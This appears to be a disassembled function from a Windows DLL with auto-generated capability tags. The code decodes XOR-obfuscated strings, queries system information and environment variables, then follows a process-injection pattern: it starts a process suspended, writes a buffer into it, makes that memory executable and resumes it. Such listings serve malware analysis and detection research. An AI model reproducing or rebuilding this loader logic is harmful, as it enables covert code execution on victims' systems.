Function at 0x180006dc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get system information on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa70]
sub rsp, 0xb70
mov rax, qword [0x180028010]
xor rax, rsp
mov qword [rbp + 0xa60], rax
mov r12d, r8d
mov r13, rdx
mov r15, rcx
movdqa xmm0, xmmword [0x180024940]
movdqa xmmword [rbp + 0x180], xmm0
movdqa xmm1, xmmword [0x1800240d0]
movdqa xmmword [rbp + 0x190], xmm1
movdqa xmm0, xmmword [0x180024a50]
movdqa xmmword [rbp + 0x1a0], xmm0
movdqa xmm1, xmmword [0x180024080]
movdqa xmmword [rbp + 0x1b0], xmm1
mov dword [rbp + 0x1c0], 0x6e586b58
mov dword [rbp + 0x1c4], 0x61586058
mov byte [rbp + 0x1c8], 0x58
xor eax, eax
mov word [rbp + 0x1c9], ax
xor edi, edi
mov ecx, edi
movzx eax, byte [rbp + 0x180]
xor byte [rbp + rcx + 0x181], al
movzx eax, byte [rbp + 0x180]
xor byte [rbp + rcx + 0x182], al
add rcx, 2
cmp rcx, 0x48
jb 0x180006e61
mov word [rbp + 0x1c9], di
lea rdx, [rbp + 0x181]
lea rcx, [rbp + 0x5a0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
lea rcx, [rbp + 0x820]
call qword [sym.imp.KERNEL32.DLL_GetSystemInfo]
movdqa xmm0, xmmword [0x180023d70]
movdqa xmmword [rbp + 0x1d0], xmm0
movdqa xmm1, xmmword [0x180024a60]
movdqa xmmword [rbp + 0x1e0], xmm1
movdqa xmm0, xmmword [0x180024110]
movdqa xmmword [rbp + 0x1f0], xmm0
movdqa xmm1, xmmword [0x1800249f0]
movdqa xmmword [rbp + 0x200], xmm1
mov dword [rbp + 0x210], 0x5330033
mov dword [rbp + 0x214], 0xa330b33
mov byte [rbp + 0x218], 0x33
xor eax, eax
mov word [rbp + 0x219], ax
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d1], al
movzx eax, byte [rbp + 0x1d0]
xor byte [rbp + rcx + 0x1d2], al
add rcx, 2
cmp rcx, 0x48
jb 0x180006f20
mov word [rbp + 0x219], di
lea rdx, [rbp + 0x1d1]
lea rcx, [rbp + 0x5c0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x850]
call fcn.18000ff50
movdqa xmm0, xmmword [0x1800244a0]
movdqu xmmword [rbp + 0x20], xmm0
mov dword [rbp + 0x30], 0x590d420d
mov byte [rbp + 0x34], 0xd
xor eax, eax
mov word [rbp + 0x35], ax
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbp + 0x20]
xor byte [rbp + rcx + 0x21], al
inc rcx
cmp rcx, 0x14
jb 0x180006fa0
mov word [rbp + 0x35], di
lea rdx, [rbp + 0x21]
lea rcx, [rbp + 0x5e0]
call fcn.180002930
mov rcx, rax
call fcn.180002ba0
mov r8d, 0x104
lea rdx, [rbp + 0x850]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
lea rcx, [rbp + 0x5e0]
call fcn.1800028c0
movdqa xmm0, xmmword [0x180024390]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x1800245c0]
movdqa xmmword [rbp + 0x230], xmm1
movdqa xmm0, xmmword [0x180024190]
movdqa xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x180024550]
movdqa xmmword [rbp + 0x250], xmm1
mov dword [rbp + 0x260], 0x3f093a09
mov dword [rbp + 0x264], 0x30093109
mov byte [rbp + 0x268], 9
xor eax, eax
mov word [rbp + 0x269], ax
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + 0x220]
xor byte [rbp + rcx + 0x221], al
movzx eax, byte [rbp + 0x220]
xor byte [rbp + rcx + 0x222], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007060
mov word [rbp + 0x269], di
lea rdx, [rbp + 0x221]
lea rcx, [rbp + 0x600]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x750]
call fcn.180002930
nop
mov rsi, 0xffffffffffffffff
cmp qword [rbp + 0x760], 0
jne 0x18000712b
movdqa xmm0, xmmword [0x180024460]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0x5c2f582f
mov byte [rbp + 4], 0x2f
xor eax, eax
mov word [rbp + 5], ax
mov rcx, rdi
nop
movzx eax, byte [rbp - 0x10]
xor byte [rbp + rcx - 0xf], al
inc rcx
cmp rcx, 0x14
jb 0x1800070f0
mov word [rbp + 5], 0
lea rax, [rbp - 0xf]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180007110
lea rdx, [rbp - 0xf]
lea rcx, [rbp + 0x750]
call fcn.180002a20
movdqa xmm0, xmmword [0x1800244f0]
movdqu xmmword [rbp + 8], xmm0
mov dword [rbp + 0x18], 0x2a764476
mov byte [rbp + 0x1c], 0x76
xor eax, eax
mov word [rbp + 0x1d], ax
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbp + 8]
xor byte [rbp + rcx + 9], al
inc rcx
cmp rcx, 0x14
jb 0x180007150
mov word [rbp + 0x1d], 0
lea rax, [rbp + 9]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x180007170
lea rdx, [rbp + 9]
lea rcx, [rbp + 0x750]
call fcn.18000a9f0
cmp qword [r15 + 0x1e8], 0
jne 0x1800071f4
movdqa xmm0, xmmword [0x1800248b0]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x31492c49
mov word [rbp - 0x1c], 0x2c49
mov byte [rbp - 0x1a], 0x49
xor eax, eax
mov word [rbp - 0x19], ax
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbp - 0x30]
xor byte [rbp + rcx - 0x2f], al
inc rcx
cmp rcx, 0x16
jb 0x1800071c0
mov word [rbp - 0x19], 0
lea rax, [rbp - 0x2f]
mov r8, rsi
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1800071e0
lea rdx, [rbp - 0x2f]
jmp 0x1800073be
mov byte [rbp - 0x50], 0x4d
mov al, 0x3e
mov cl, 0x4d
mov dl, 0x28
movzx r8d, cl
mov r9b, 0x21
movzx r10d, cl
mov r11b, 0x2b
movzx ebx, cl
xor r14d, r14d
xor al, cl
mov byte [rbp - 0x4f], al
xor cl, cl
mov byte [rbp - 0x4e], cl
xor dl, bl
mov byte [rbp - 0x4d], dl
xor r8b, bl
mov byte [rbp - 0x4c], r8b
xor r9b, bl
mov byte [rbp - 0x4b], r9b
xor r10b, bl
mov byte [rbp - 0x4a], r10b
xor r11b, bl
mov byte [rbp - 0x49], r11b
xor bl, bl
mov byte [rbp - 0x48], bl
mov word [rbp - 0x47], r14w
lea rdx, [rbp - 0x4f]
lea rcx, [r15 + 0x1d8]
call fcn.18000ae90
test al, al
je 0x1800072c5
lea r8, [0x180023cbc]
lea rdx, [0x180028900]
lea rcx, [rbp + 0x4a0]
call fcn.18000aa90
nop
lea r8, [r15 + 0x68]
mov rdx, rax
lea rcx, [rbp + 0x620]
call fcn.18000ac00
lea rcx, [rbp + 0x750]
cmp rcx, rax
je 0x1800072a7
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x750]
call fcn.18000a900
lea rcx, [rbp + 0x620]
call fcn.1800028c0
nop
lea rcx, [rbp + 0x4a0]
call fcn.1800028c0
jmp 0x1800073ca
lea rcx, [r15 + 0x1d8]
call fcn.180002ba0
mov rdx, rax
mov r8, qword [r15 + 0x1e8]
lea rcx, [rbp + 0x750]
call fcn.18000a9f0
mov byte [rbp - 0x40], 2
mov al, 0x2c
mov cl, 2
mov dl, 0x67
movzx r8d, cl
mov r9b, 0x7a
movzx r10d, cl
movzx r11d, dl
movzx ebx, cl
xor al, cl
mov byte [rbp - 0x3f], al
xor cl, cl
mov byte [rbp - 0x3e], cl
xor dl, bl
mov byte [rbp - 0x3d], dl
xor r8b, bl
mov byte [rbp - 0x3c], r8b
xor r9b, bl
mov byte [rbp - 0x3b], r9b
xor r10b, bl
mov byte [rbp - 0x3a], r10b
xor r11b, bl
mov byte [rbp - 0x39], r11b
xor bl, bl
mov byte [rbp - 0x38], bl
mov word [rbp - 0x37], r14w
xor r8d, r8d
lea rdx, [rbp - 0x3f]
lea rcx, [r15 + 0x1d8]
call fcn.18000a7c0
cmp rax, rsi
jne 0x1800073ca
mov byte [rbp - 0x60], 0x11
mov al, 0x3f
mov cl, 0x11
mov dl, 0x74
movzx r8d, cl
mov r9b, 0x69
movzx r10d, cl
movzx r11d, dl
movzx ebx, cl
xor al, cl
mov byte [rbp - 0x5f], al
xor cl, cl
mov byte [rbp - 0x5e], cl
xor dl, bl
mov byte [rbp - 0x5d], dl
xor r8b, bl
mov byte [rbp - 0x5c], r8b
xor r9b, bl
mov byte [rbp - 0x5b], r9b
xor r10b, bl
mov byte [rbp - 0x5a], r10b
xor r11b, bl
mov byte [rbp - 0x59], r11b
xor bl, bl
mov byte [rbp - 0x58], bl
mov word [rbp - 0x57], r14w
lea rax, [rbp - 0x5f]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x1800073b0
lea rdx, [rbp - 0x5f]
lea rcx, [rbp + 0x750]
call fcn.18000a9f0
lea r8, [rsp + 0x50]
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x730]
call fcn.180003ea0
nop
mov rdx, r15
lea rcx, [rbp + 0x730]
call fcn.180003970
nop
mov cl, 0x6e
mov dword [rbp - 0x70], 0x436e4e6e
mov dword [rbp - 0x6c], 0xf6e436e
mov dword [rbp - 0x68], 0x536e5e6e
mov byte [rbp - 0x64], cl
xor eax, eax
mov word [rbp - 0x63], ax
mov rax, rdi
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax - 0x6f], cl
inc rax
cmp rax, 0xc
jae 0x180007433
movzx ecx, byte [rbp - 0x70]
jmp 0x180007420
mov word [rbp - 0x63], 0
lea rax, [rbp - 0x6f]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x180007440
lea rdx, [rbp - 0x6f]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
lea rcx, [r15 + 0x48]
call fcn.180002ba0
mov rdx, rax
mov r8, qword [r15 + 0x58]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
mov cl, 0x4b
mov dword [rsp + 0x60], 0x664b6b4b
mov dword [rsp + 0x64], 0x2a4b664b
mov dword [rsp + 0x68], 0x764b7a4b
mov byte [rsp + 0x6c], cl
xor eax, eax
mov word [rsp + 0x6d], ax
mov rax, rdi
nop
xor byte [rsp + rax + 0x61], cl
inc rax
cmp rax, 0xc
jae 0x1800074b4
movzx ecx, byte [rsp + 0x60]
jmp 0x1800074a0
mov word [rsp + 0x6d], 0
lea rax, [rsp + 0x61]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x1800074c3
lea rdx, [rsp + 0x61]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
lea rcx, [r15 + 0x68]
call fcn.180002ba0
mov rdx, rax
mov r8, qword [r15 + 0x78]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
mov cl, 0x54
mov dword [rbp - 0x80], 0x79547454
mov dword [rbp - 0x7c], 0x35547954
mov dword [rbp - 0x78], 0x69546654
mov byte [rbp - 0x74], cl
xor eax, eax
mov word [rbp - 0x73], ax
mov rax, rdi
nop
xor byte [rbp + rax - 0x7f], cl
inc rax
cmp rax, 0xc
jae 0x180007533
movzx ecx, byte [rbp - 0x80]
jmp 0x180007520
mov word [rbp - 0x73], 0
lea rax, [rbp - 0x7f]
mov r8, rsi
inc r8
cmp word [rax + r8*2], 0
jne 0x180007540
lea rdx, [rbp - 0x7f]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
lea rcx, [r15 + 0x88]
call fcn.180002ba0
mov rdx, rax
mov r8, qword [r15 + 0x98]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
mov cl, 0x25
mov dword [rsp + 0x70], 0x8250525
mov dword [rsp + 0x74], 0x44250825
mov dword [rsp + 0x78], 0x18251625
mov byte [rsp + 0x7c], cl
xor eax, eax
mov word [rsp + 0x7d], ax
mov rax, rdi
nop word [rax + rax]
xor byte [rsp + rax + 0x71], cl
inc rax
cmp rax, 0xc
jae 0x1800075c4
movzx ecx, byte [rsp + 0x70]
jmp 0x1800075b0
mov word [rsp + 0x7d], 0
lea rax, [rsp + 0x71]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x1800075d0
mov r8, rsi
lea rdx, [rsp + 0x71]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
lea rcx, [r15 + 0xa8]
call fcn.180002ba0
mov rdx, rax
mov r8, qword [r15 + 0xb8]
lea rcx, [rbp + 0x730]
call fcn.18000a9f0
movdqa xmm0, xmmword [0x1800249a0]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm1, xmmword [0x180024070]
movdqa xmmword [rbp + 0x280], xmm1
movdqa xmm0, xmmword [0x1800249e0]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm1, xmmword [0x180024100]
movdqa xmmword [rbp + 0x2a0], xmm1
mov dword [rbp + 0x2b0], 0x6a5c6f5c
mov dword [rbp + 0x2b4], 0x655c645c
mov byte [rbp + 0x2b8], 0x5c
xor eax, eax
mov word [rbp + 0x2b9], ax
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + 0x270]
xor byte [rbp + rcx + 0x271], al
movzx eax, byte [rbp + 0x270]
xor byte [rbp + rcx + 0x272], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007680
mov word [rbp + 0x2b9], 0
lea rdx, [rbp + 0x271]
lea rcx, [rbp + 0x580]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
lea rcx, [rbp + 0x730]
call fcn.180002ba0
mov rdx, rax
lea rcx, [rbp + 0x560]
call fcn.1800034a0
mov r8, rax
lea rdx, [rbp + 0x790]
mov rcx, r15
call fcn.180005a10
nop
cmp qword [rbp + 0x7a0], 0
jbe 0x180007747
lea rcx, [rbp + 0x790]
call fcn.180002d10
mov rdx, rax
lea rcx, [rbp + 0x540]
call fcn.180003700
lea rcx, [rbp + 0x730]
cmp rcx, rax
je 0x18000773b
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x730]
call fcn.18000a900
lea rcx, [rbp + 0x540]
call fcn.1800028c0
movdqa xmm0, xmmword [0x180024640]
movdqa xmmword [rbp + 0x2c0], xmm0
movdqa xmm1, xmmword [0x1800241d0]
movdqa xmmword [rbp + 0x2d0], xmm1
movdqa xmm0, xmmword [0x180024610]
movdqa xmmword [rbp + 0x2e0], xmm0
movdqa xmm1, xmmword [0x180024180]
movdqa xmmword [rbp + 0x2f0], xmm1
mov dword [rbp + 0x300], 0x54625162
mov dword [rbp + 0x304], 0x5b625a62
mov byte [rbp + 0x308], 0x62
xor eax, eax
mov word [rbp + 0x309], ax
mov rcx, rdi
nop
movzx eax, byte [rbp + 0x2c0]
xor byte [rbp + rcx + 0x2c1], al
movzx eax, byte [rbp + 0x2c0]
xor byte [rbp + rcx + 0x2c2], al
add rcx, 2
cmp rcx, 0x48
jb 0x1800077b0
mov word [rbp + 0x309], 0
lea rdx, [rbp + 0x2c1]
lea rcx, [rbp + 0x520]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov dword [rbp + 0x7b0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b8], xmm0
movups xmmword [rbp + 0x7c8], xmm0
movups xmmword [rbp + 0x7d8], xmm0
movups xmmword [rbp + 0x7e8], xmm0
movups xmmword [rbp + 0x7f8], xmm0
movups xmmword [rbp + 0x808], xmm0
xor eax, eax
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x760], rax
jbe 0x180007fcc
lea rcx, [rbp + 0x730]
call fcn.180002ba0
mov rbx, rax
lea rcx, [rbp + 0x750]
call fcn.180002ba0
lea rcx, [rbp + 0x710]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x7b0]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [r15 + 0xf0]
test eax, eax
je 0x180007fcc
mov rsi, qword [rbp + 0x710]
movdqa xmm0, xmmword [0x180024830]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm1, xmmword [0x180023fe0]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm0, xmmword [0x180024b40]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm1, xmmword [0x180023fa0]
movdqa xmmword [rbp + 0x340], xmm1
mov dword [rbp + 0x350], 0x66506350
mov dword [rbp + 0x354], 0x69506850
mov byte [rbp + 0x358], 0x50
xor eax, eax
mov word [rbp + 0x359], ax
mov rcx, rdi
movzx eax, byte [rbp + 0x310]
xor byte [rbp + rcx + 0x311], al
movzx eax, byte [rbp + 0x310]
xor byte [rbp + rcx + 0x312], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007920
mov word [rbp + 0x359], 0
lea rdx, [rbp + 0x311]
lea rcx, [rbp + 0x500]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov qword [rbp + 0x700], rdi
mov qword [rbp + 0x780], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x780]
xor r8d, r8d
lea rdx, [rbp + 0x700]
mov rcx, rsi
call fcn.18000ddaa
test eax, eax
js 0x180007fcc
mov rbx, qword [rbp + 0x700]
test rbx, rbx
je 0x180007fcc
movdqa xmm0, xmmword [0x180024340]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm1, xmmword [0x180024470]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm0, xmmword [0x1800241f0]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm1, xmmword [0x1800244d0]
movdqa xmmword [rbp + 0x390], xmm1
mov dword [rbp + 0x3a0], 0x33053605
mov dword [rbp + 0x3a4], 0x3c053d05
mov byte [rbp + 0x3a8], 5
xor eax, eax
mov word [rbp + 0x3a9], ax
mov rcx, rdi
movzx eax, byte [rbp + 0x360]
xor byte [rbp + rcx + 0x361], al
movzx eax, byte [rbp + 0x360]
xor byte [rbp + rcx + 0x362], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007a20
mov word [rbp + 0x3a9], 0
lea rdx, [rbp + 0x361]
lea rcx, [rbp + 0x4e0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
movdqa xmm0, xmmword [0x180024310]
movdqa xmmword [rbp + 0x3b0], xmm0
movdqa xmm1, xmmword [0x1800244c0]
movdqa xmmword [rbp + 0x3c0], xmm1
movdqa xmm0, xmmword [0x180024260]
movdqa xmmword [rbp + 0x3d0], xmm0
movdqa xmm1, xmmword [0x180024510]
movdqa xmmword [rbp + 0x3e0], xmm1
mov dword [rbp + 0x3f0], 0x31073407
mov dword [rbp + 0x3f4], 0x3e073f07
mov byte [rbp + 0x3f8], 7
xor eax, eax
mov word [rbp + 0x3f9], ax
mov rcx, rdi
movzx eax, byte [rbp + 0x3b0]
xor byte [rbp + rcx + 0x3b1], al
movzx eax, byte [rbp + 0x3b0]
xor byte [rbp + rcx + 0x3b2], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007ad1
mov word [rbp + 0x3f9], 0
lea rdx, [rbp + 0x3b1]
lea rcx, [rbp + 0x4c0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
movdqa xmm0, xmmword [0x180024570]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [0x180024440]
movdqa xmmword [rbp + 0x140], xmm1
movdqa xmm0, xmmword [0x1800246e0]
movdqa xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1800243a0]
movdqa xmmword [rbp + 0x160], xmm1
mov dword [rbp + 0x170], 0x4d7b487b
mov dword [rbp + 0x174], 0x427b437b
mov byte [rbp + 0x178], 0x7b
xor eax, eax
mov word [rbp + 0x179], ax
mov rcx, rdi
movzx eax, byte [rbp + 0x130]
xor byte [rbp + rcx + 0x131], al
movzx eax, byte [rbp + 0x130]
xor byte [rbp + rcx + 0x132], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007b82
mov word [rbp + 0x179], 0
lea rdx, [rbp + 0x131]
lea rcx, [rbp + 0x660]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov qword [rbp + 0x778], rdi
lea rax, [rbp + 0x778]
mov qword [rsp + 0x20], rax
mov r9d, r12d
mov r8, r13
mov rdx, rbx
mov rcx, rsi
call fcn.18000ddc4
test eax, eax
js 0x180007fcc
movdqa xmm0, xmmword [0x180024910]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm1, xmmword [0x180024120]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm0, xmmword [0x180024a80]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm1, xmmword [0x1800240b0]
movdqa xmmword [rbp + 0x430], xmm1
mov dword [rbp + 0x440], 0x6c5a695a
mov dword [rbp + 0x444], 0x635a625a
mov byte [rbp + 0x448], 0x5a
xor eax, eax
mov word [rbp + 0x449], ax
mov rcx, rdi
nop
movzx eax, byte [rbp + 0x400]
xor byte [rbp + rcx + 0x401], al
movzx eax, byte [rbp + 0x400]
xor byte [rbp + rcx + 0x402], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007c60
mov word [rbp + 0x449], 0
lea rdx, [rbp + 0x401]
lea rcx, [rbp + 0x640]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov qword [rbp + 0x708], rbx
mov qword [rbp + 0x770], r12
lea rax, [rbp + 0x788]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rbp + 0x770]
lea rdx, [rbp + 0x708]
mov rcx, rsi
call fcn.18000de05
test eax, eax
js 0x180007fcc
movdqa xmm0, xmmword [0x180023eb0]
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmm1, xmmword [0x180024b50]
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmm0, xmmword [str.:_b:_v:]
movdqa xmmword [rbp + 0x470], xmm0
movdqa xmm1, xmmword [0x180024af0]
movdqa xmmword [rbp + 0x480], xmm1
mov dword [rbp + 0x490], 0xc3a093a
mov dword [rbp + 0x494], 0x33a023a
mov byte [rbp + 0x498], 0x3a
xor eax, eax
mov word [rbp + 0x499], ax
mov r9, rdi
nop
movzx eax, byte [rbp + 0x450]
xor byte [rbp + r9 + 0x451], al
movzx eax, byte [rbp + 0x450]
xor byte [rbp + r9 + 0x452], al
add r9, 2
cmp r9, 0x48
jb 0x180007d50
mov word [rbp + 0x499], 0
lea rdx, [rbp + 0x451]
lea rcx, [rbp + 0x680]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov r8, rbx
mov rdx, rsi
mov rcx, r15
call fcn.180008f30
movzx ebx, al
movdqa xmm0, xmmword [0x180024130]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x1800248d0]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x180023dc0]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x180024970]
movdqa xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x80], 0x1a2c1f2c
mov dword [rbp + 0x84], 0x152c142c
mov byte [rbp + 0x88], 0x2c
xor eax, eax
mov word [rbp + 0x89], ax
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rbp + 0x40]
xor byte [rbp + rcx + 0x41], al
movzx eax, byte [rbp + 0x40]
xor byte [rbp + rcx + 0x42], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007e10
mov word [rbp + 0x89], 0
lea rdx, [rbp + 0x41]
lea rcx, [rbp + 0x6a0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
mov dword [rbp + 0x728], edi
lea rdx, [rbp + 0x728]
mov rcx, qword [rbp + 0x718]
call fcn.18000ddd1
movdqa xmm0, xmmword [0x180023e50]
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmm1, xmmword [0x1800249d0]
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmm0, xmmword [0x180024060]
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmm1, xmmword [0x180024a30]
movdqa xmmword [rbp + 0xc0], xmm1
mov dword [rbp + 0xd0], 0x3350635
mov dword [rbp + 0xd4], 0xc350d35
mov byte [rbp + 0xd8], 0x35
xor eax, eax
mov word [rbp + 0xd9], ax
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rbp + 0x90]
xor byte [rbp + rcx + 0x91], al
movzx eax, byte [rbp + 0x90]
xor byte [rbp + rcx + 0x92], al
add rcx, 2
cmp rcx, 0x48
jb 0x180007ed0
mov word [rbp + 0xd9], 0
lea rdx, [rbp + 0x91]
lea rcx, [rbp + 0x6c0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
movdqa xmm0, xmmword [0x1800242d0]
movdqa xmmword [rbp + 0xe0], xmm0
movdqa xmm1, xmmword [0x180024530]
movdqa xmmword [rbp + 0xf0], xmm1
movdqa xmm0, xmmword [0x1800242a0]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [0x180024490]
movdqa xmmword [rbp + 0x110], xmm1
mov dword [rbp + 0x120], 0x35033003
mov dword [rbp + 0x124], 0x3a033b03
mov byte [rbp + 0x128], 3
xor eax, eax
mov word [rbp + 0x129], ax
nop
movzx eax, byte [rbp + 0xe0]
xor byte [rbp + rdi + 0xe1], al
movzx eax, byte [rbp + 0xe0]
xor byte [rbp + rdi + 0xe2], al
add rdi, 2
cmp rdi, 0x48
jb 0x180007f80
mov word [rbp + 0x129], 0
lea rdx, [rbp + 0xe1]
lea rcx, [rbp + 0x6e0]
call fcn.180002930
mov rcx, rax
call fcn.1800028c0
jmp 0x180007fce
xor bl, bl
lea rcx, [rbp + 0x790]
call fcn.180002970
nop
lea rcx, [rbp + 0x730]
call fcn.1800028c0
nop
lea rcx, [rbp + 0x750]
call fcn.1800028c0
movzx eax, bl
mov rcx, qword [rbp + 0xa60]
xor rcx, rsp
call fcn.18000e080
mov rbx, qword [rsp + 0xbc8]
add rsp, 0xb70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret